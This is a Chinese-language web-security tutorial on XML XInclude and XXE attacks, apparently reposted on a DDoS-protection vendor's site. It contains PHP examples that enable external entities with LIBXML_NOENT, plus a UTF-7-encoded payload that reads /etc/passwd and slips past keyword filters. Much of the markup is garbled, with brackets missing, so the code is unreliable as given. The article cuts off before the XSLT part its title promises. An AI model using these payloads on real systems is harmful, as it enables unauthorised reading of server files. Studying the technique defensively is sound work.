DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

浅析xml之xinclude & xslt

09-17 WEB安全

Xinclude
什么是xinclude
顾名思义,xinclude可以理解为xml include熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。那么文件包含有什么好处?当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式
为什么使用xinclude
正如如上所说,xinclude可以使代码可读性更高,这里给出官方手册中的样例,便于理解:page.xml
xml version="1.0"?>
webpage>
body>Hello world!body>
   xi:include href="templates/footer.xml" xmlns:xi=""/>
webpage>
footer.xml:
xml version="1.0"?>
footer>? Contoso Corp, 2003footer>
处理过程

浅析xml之xinclude & xslt


xinclude的语法介绍
xinclude的语法相对来说,非常简单,只是在命名空间中的两个元素,即 include 和 fallback常用的命名空间前缀是“xi”(但可以根据喜好自由使用任何前缀)
xi:include 元素
元素中的几个属性:
href — 对要包括的文档的 URI 引用。
parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse=”text”),将忽略该属性。
encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。样例如下:
xi:include href="test.xml" parse="text"/>
xi:fallback 元素
简单而言,类似于try...except...,如果xinclude的内容出现问题,则显示fallback的内容例如
xi:include href="test.xml" parse="text"/>
    xi:fallback>Sorry, the file is unavailablexi:fallback>
xi:include>
此时解析xml后,若test.xml不存在,则会解析获取到Sorry, the file is unavailable
安全问题
看完上述内容,一定会有人问,为什么不直接使用外部实体引入就好了?这里官方文档也给出了详尽的解释:XML 外部实体有很多众所周知的局限和不便于使用的含义,这些因素极大地妨碍了 XML 外部实体成为多用途包含工具:
1.XML 外部实体无法成为一个成熟的独立 XML 文档,因为它既不允许独立的 XML 声明,也不允许 Doctype 声明。这实际上意味着 XML 外部实体本身无法包括其他外部实体。
2.XML 外部实体必须是格式规范的 XML
3.未能加载外部实体是重大错误 (fatal error);严格禁止任何恢复。
4.只能包括整个外部实体,无法只包括文档的一部分。
5.外部实体必须在 DTD 或内部子集中进行声明。等等,外部实体?讲到安全问题,你是否立刻就想到了XXE(XML External Entity Injection)任意文件读取的问题?没错,xinclude作为外部实体引用的替代品,同样具有XXE的问题,并且还有一些特别的地方:
传统的XXE文件读取
$xml =
]>
&f;
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
// load the XML string defined above
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
但是访问该页面,我们却发现并没有解析xml

浅析xml之xinclude & xslt


这是因为php的xml库的底层库是libxml2,而在2.6版本之后,改库已默认禁用外部实体引用的解析,我们可以使用
echo LIBXML_DOTTED_VERSION;
来查看当前版本号

浅析xml之xinclude & xslt


所以我当前的xml解析已默认不支持外部实体引入了,故此我们查阅php手册中的libxml option constants,可以发现使用LIBXML_NOENT选项即可加载外部实体所以关键代码更改为
$dom->loadXML($xml,LIBXML_NOENT);
即可:

浅析xml之xinclude & xslt


传统文件读取进阶版—过滤
倘若我们发现外部实体引入时,存在关键词过滤例如
ENTITY
等被过滤,那么我们可以尝试使用utf-7编码例如
]>
x>&f;x>
我们利用
https://www.motobit.com/util/charset-codepage-conversion.asp
转为utf-7
+ADwAIQ-DOCTYPE ANY +AFs-
  +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
然后使用
xml version="1.0" encoding="utf-7" ?>
测试脚本
$xml =
+ADwAIQ-DOCTYPE ANY +AFs-
    +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/40.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 698415访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X